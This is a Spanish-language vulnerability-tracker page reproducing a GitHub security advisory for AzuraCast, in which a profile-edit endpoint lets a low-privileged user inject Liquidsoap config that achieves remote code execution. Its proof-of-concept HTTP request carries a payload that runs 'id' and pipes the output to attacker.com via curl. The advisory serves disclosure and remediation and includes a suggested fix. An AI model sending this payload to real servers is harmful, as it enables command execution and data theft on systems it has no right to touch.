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Advisory · GitHub · Packagist · azuracast/azuracast

GHSA-Q8WG-3QG7-8PC7

Unauthorized Write to Liquidsoap Custom Config via Profile Edit Endpoint Leads to RCE

Sin parche publicado
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CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición104 dDesde la divulgación, 7 ago 2026, 10:00 p. m.
Detección102 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
8 ago 26
18 nov 26
20 nov 26
8 ago 26
3 sept 26
29 sept 26
25 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-Q8WG-3QG7-8PC7 divulgada · CVSS 8.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The `PUT /api/station/{station_id}/profile/edit` endpoint, protected only by `StationPermissions::Profile` ("manage station profile"), exposes the `backend_config.custom_config_top`, `custom_config`, `custom_config_pre_playlists`, `custom_config_pre_live`, `custom_config_pre_fade`, and `custom_config_bottom` fields through a serialization group boundary bypass.

These fields are annotated with `GROUP_GENERAL` in `Station.php` (line 168), making them writable via the profile edit serialization context. The `AbstractArrayEntity::fromArray()` method sets them unconditionally on the `StationBackendConfiguration` object. The fields are then written verbatim into the Liquidsoap `.liq` script by `ConfigWriter::writeCustomConfigurationSection()` with no sanitization.

Liquidsoap's `process.run()` and `process.exec()` built-ins allow arbitrary OS command execution. The injected code runs automatically when AzuraCast restarts the Liquidsoap backend, which occurs within minutes via the built-in sync task when `needs_restart = true` is detected.

The dedicated Liquidsoap config endpoint (`/api/station/{id}/liquidsoap-config`) correctly requires `StationPermissions::Broadcasting`, but the profile edit endpoint does not enforce this boundary, allowing a less-privileged user to write the same dangerous fields.

Affected Component

  • `backend/src/Controller/Api/Stations/ProfileEditController.php` - uses `GROUP_GENERAL` context for profile editors
  • `backend/src/Entity/Station.php:168` - `backend_config` annotated with `GROUP_GENERAL`
  • `backend/src/Doctrine/AbstractArrayEntity.php:69` - `fromArray()` sets all public properties without field-level permission checks
  • `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:947` - `custom_config_*` written verbatim to `.liq`

PoC

Prerequisites: API key with `manage station profile` permission only (no `Broadcasting`, no global admin).

Request

PUT /api/station/1/profile/edit  HTTP/1.1
X-API-Key: <station-profile-key>
Content-Type: application/json

{
  "backend_config": {
    "custom_config_top": "_ = process.run("id | curl -s -X POST https://attacker.com --data-binary @-")\n"
  }
}

Response

HTTP/1.1 200 OK
{"success":true,"message":"Record updated successfully.","formatted_message":"Record updated successfully."}

The sync task sets `needs_restart = true` automatically. Within ≤1 minute, Liquidsoap restarts, reads the regenerated `.liq`, and executes the injected OS command.

Validated on: AzuraCast 0.23.7 (`ghcr.io/azuracast/azuracast:latest`, 2026-07-08)

Permission Boundary Violated

| Endpoint | Permission required |
|----------|-------------------|
| `PUT /api/station/{id}/liquidsoap-config` | `StationPermissions::Broadcasting` |
| `PUT /api/station/{id}/profile/edit` | `StationPermissions::Profile` ← exploited |

A station manager can be assigned `Profile` without `Broadcasting` and reach the same `custom_config_*` fields through this bypass.

Suggested Fix

Remove `custom_config_*` fields from `GROUP_GENERAL` serialization access in `ProfileEditController`, or strip them explicitly before calling `editRecord()` unless the caller holds `StationPermissions::Broadcasting`:

```php
if (!$request->getAcl()->isAllowed(StationPermissions::Broadcasting, $station)) {
foreach (StationBackendConfiguration::getCustomConfigurationSections() as $key) {
unset($body['backend_config'][$key]);
}
}

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
azuracast/azuracast≤ 0.23.7
0.23.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistazuracast/azuracast
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q8wg-3qg7-8pc7

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